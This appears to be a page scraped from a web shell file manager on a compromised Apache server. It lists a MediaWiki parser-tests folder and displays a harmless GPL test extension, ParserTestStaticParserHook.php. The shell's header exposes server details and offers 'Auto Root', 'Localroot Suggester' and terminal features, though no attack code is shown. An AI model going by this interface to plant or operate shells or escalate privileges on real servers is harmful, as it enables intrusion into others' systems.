Linux anchor 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
Apache/2.4.18 (Ubuntu)
Server IP : 10.10.100.4 & Your IP : 216.73.217.150
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
wiki.bernardino.org /
tests /
parser /
Delete
Unzip
Name
Size
Permission
Date
Action
preprocess
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
DbTestPreviewer.php
6.2
KB
-rw-r--r--
2016-11-28 20:20
DbTestRecorder.php
2.28
KB
-rw-r--r--
2016-11-28 20:20
DjVuSupport.php
1.71
KB
-rw-r--r--
2016-11-28 20:20
MultiTestRecorder.php
1.26
KB
-rw-r--r--
2016-11-28 20:20
ParserTestParserHook.php
2.14
KB
-rw-r--r--
2016-11-28 20:20
ParserTestPrinter.php
8.26
KB
-rw-r--r--
2016-11-28 20:20
ParserTestResult.php
890
B
-rw-r--r--
2016-11-28 20:20
ParserTestResultNormalizer.php
2.49
KB
-rw-r--r--
2016-11-28 20:20
ParserTestRunner.php
46.14
KB
-rw-r--r--
2016-11-28 20:20
PhpunitTestRecorder.php
325
B
-rw-r--r--
2016-11-28 20:20
README
362
B
-rw-r--r--
2016-11-28 20:20
TestFileReader.php
8.35
KB
-rw-r--r--
2016-11-28 20:20
TestRecorder.php
2.19
KB
-rw-r--r--
2016-11-28 20:20
TidySupport.php
2.58
KB
-rw-r--r--
2016-11-28 20:20
extraParserTests.txt
1.21
KB
-rw-r--r--
2016-11-28 20:20
fuzzTest.php
4.91
KB
-rw-r--r--
2016-11-28 20:20
parserTest.inc
33.83
KB
-rw-r--r--
2012-01-03 18:02
parserTests.php
6.98
KB
-rw-r--r--
2016-11-28 20:20
parserTests.txt
762.31
KB
-rw-r--r--
2016-11-28 20:20
parserTestsParserHook.php
1.32
KB
-rw-r--r--
2011-02-09 18:36
parserTestsStaticParserHook.php
1.9
KB
-rw-r--r--
2011-06-17 18:05
Save
Rename
<?php /** * A basic extension that's used by the parser tests to test whether the parser * calls extensions when they're called inside comments, it shouldn't do that * * Copyright © 2005, 2006 Ævar Arnfjörð Bjarmason * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * http://www.gnu.org/copyleft/gpl.html * * @file * @ingroup Testing * @author Ævar Arnfjörð Bjarmason <avarab@gmail.com> */ class ParserTestStaticParserHook { static function setup( &$parser ) { $parser->setHook( 'statictag', array( __CLASS__, 'hook' ) ); return true; } static function hook( $in, $argv, $parser ) { if ( ! count( $argv ) ) { $parser->static_tag_buf = $in; return ''; } elseif ( count( $argv ) === 1 && isset( $argv['action'] ) && $argv['action'] === 'flush' && $in === null ) { // Clear the buffer, we probably don't need to if ( isset( $parser->static_tag_buf ) ) { $tmp = $parser->static_tag_buf; } else { $tmp = ''; } $parser->static_tag_buf = null; return $tmp; } else // wtf? return "\nCall this extension as <statictag>string</statictag> or as" . " <statictag action=flush/>, not in any other way.\n" . "text: " . var_export( $in, true ) . "\n" . "argv: " . var_export( $argv, true ) . "\n"; } }